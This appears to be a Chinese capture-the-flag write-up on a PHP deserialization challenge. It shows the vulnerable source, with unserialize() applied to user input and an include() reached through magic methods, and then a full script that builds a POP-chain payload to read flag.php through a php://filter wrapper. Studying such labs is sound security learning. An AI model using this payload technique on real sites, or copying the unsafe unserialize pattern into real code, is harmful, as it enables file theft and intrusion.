Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
看到可以利用的函数include和unserialize,还有一些魔术方法。魔术方法
思路:这里我用的逆推的方式,要想调用include方法,就得先调用__invoke()方法(调用方式):以方法的方式调用该类(Modifier),此时就看到了Test类中的__get方法(调用方式):读取不可访问(protected 或 private)或不存在的属性的值时,此时就看到toString(),要是让$this->str=new Test,Test类中没有resoure所以就会调用__get方法了,所以就需要调用toString方法了:当把类当做字符串调用的时候。
也就是做总体思路变成:Modifier::__invoke()<–Test::__get()<–Show::__toString()这样的一条链。
生成payload(写生成payload的脚本时需要注意把无关函数的内容删掉):
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
public function __toString()
{
return $this->str->source;
}
}
class Test{
public $p;
}
$a=new Show('abc');
$a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>
这里为啥要url编码呢,不编码出来的值里面有无法识别的字符,所以全部给他编码了。